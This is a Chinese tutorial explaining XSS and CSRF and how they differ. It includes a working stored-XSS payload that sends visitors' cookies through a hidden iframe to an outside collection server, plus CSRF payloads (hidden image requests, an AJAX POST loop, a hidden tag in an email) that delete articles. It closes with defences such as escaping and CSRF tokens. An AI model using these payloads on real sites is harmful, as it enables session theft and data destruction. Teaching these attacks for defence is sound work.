XSS定义的主语是“脚本”,是一种跨站执行的脚本,也就是javascript脚本,指的是在网站上注入我们的javascript脚本,执行非法操作。
CSRF定义的主语是”请求“,是一种跨站的伪造的请求,指的是跨站伪造用户的请求,模拟用户的操作。
XSS攻击发生的条件是可以执行javascript脚本,一般在站点中总会有发表文章、留言等信息的表单,这种表单一般是写入到数据库中,然后在某个页面进行展示。我们可以在这些表单中直接编写javascript代码(<script>alert("hack sucess!");</script>
)进行测试,看是否可以执行。如果在信息展示页面js代码可以执行,XSS攻击就成功了。
通过上面的操作,我们知道这个页面存在XSS攻击漏洞,那么我们接下来怎么利用这个漏洞?
解释
比如说我们攻击的站点地址为:http://www.sitename.com
某一篇文章的地址为:http://www.sitename.com/message/id/64
我们在这篇文章的评论form发现可以执行javascript代码,则所有访问这篇文章的用户都会受到攻击。
XSS漏洞利用的两种方式
获取用户的cookie信息,并发送到自己的服务器。
如下面的代码,就会将所有访问这个页面的用户的cookie信息,发送到http://www.zhezhao.site/myxss/这个地址,也就是我们自己的服务器上,我们在获取到用户的cookie信息之后,可以保存到数据库中,也可以给我们自己发送邮件。然后,我们就可以拿着用户的cookie信息,以用户的身份登录,进行操作了。
<script type="text/javascript">
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://www.zhezhao.site/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
</script>
进行站内CSRF攻击
我们既然可以在页面执行javascript代码,就不一定要去保存cookie,然后再去访问了。而且cookie一般都具有时效性,所以我们可以在javascript代码执行CSRF攻击。
假设删除文章的地址为:http://www.sitename.com/delete/id/23(删除id为23的文章)。
则我们可以通过javascript代码,生成一个隐藏的img
标签,src属性为http://www.sitename.com/delete/id/23,就会完成删除文章的操作。
<script type="text/javascript">
var body = document.getElementsByTagName("body");
var img = document.createElement("img");
img.setAttribute("src","http://www.sitename.com/delete/id/23");
img.setAttribute("style","display:none");
body[0].appendChild(img);
</script>
在打开该页面的时候,img标签的src属性被解析,浏览器会向http://www.sitename.com/delete/id/23这个地址发送一个请求,http请求每次发送的时候都会检查该域名下的cookie信息时候存在,因为已登录的用户存在相关cookie信息,所以一并被发送到了请求的url,成功执行了删除操作。
那如果,我的删除操作使用post方式接受参数,而不是get呢?这样确实要安全一些,但是XSS攻击既然能够执行javascript代码,就当然可以通过ajax发送post请求到这个url,我们甚至可以在javascript代码中引入jquery来简化我们的操作。
<script type="text/javascript">
function ajaxFun(param) {
//发送ajax请求
var xmlhttp;
var responseText;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){};
xmlhttp.open("POST","http://www.sitename.com/delete/id/23",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send(param);
}
for(var i=10;i<20;i++){
var param = "id="+i;
ajaxFun(param);
}
</script>
”跨站的“CSRF攻击
上面介绍的”站内的“CSRF攻击是站内的,以XSS漏洞攻击为前提的,实际上没有跨站。
如果站点不存在XSS漏洞,就只能进行跨站攻击了,并且这种跨站攻击因为不能执行javascript代码,相关参数只能通过get方式进行传递,如果参数的接收方式是post的话,可以防止这种攻击。
还是上面的删除文章的例子,假设我们知道某个用户的邮箱,我们给他发送一封html格式的邮件,邮件内容包含了一个隐藏的img标签<img src="http://www.sitename.com/delete/id/23" style="display:none">
。如果用户站点保持登录状态的情况下打开这封邮件,也能成功执行删除操作。这次的请求时从用户查看邮件的地址发出的,所以是”跨站的“。
GET和POST的使用
在web程序的设计原则上,GET传递参数的操作,不应该改变程序的内部结构,主要用于查询信息的过滤。对于数据库的更删改操作,一定要使用POST方式传值。
XSS和CSRF攻击的防御
防御XSS攻击可以通过以下两方面操作:
1,对用户表单输入的数据进行过滤,对javascript代码进行转义,然后再存入数据库;
2,在信息的展示页面,也要进行转义,防止javascript在页面上执行。
CSRF攻击的防御可以通过以下两方面操作:
1,所有需要用户登录之后才能执行的操作属于重要操作,这些操作传递参数应该使用post方式,更加安全;
2,为防止跨站请求伪造,我们在某次请求的时候都要带上一个csrf_token参数,用于标识请求来源是否合法,csrf_token参数由系统生成,存储在SESSION中。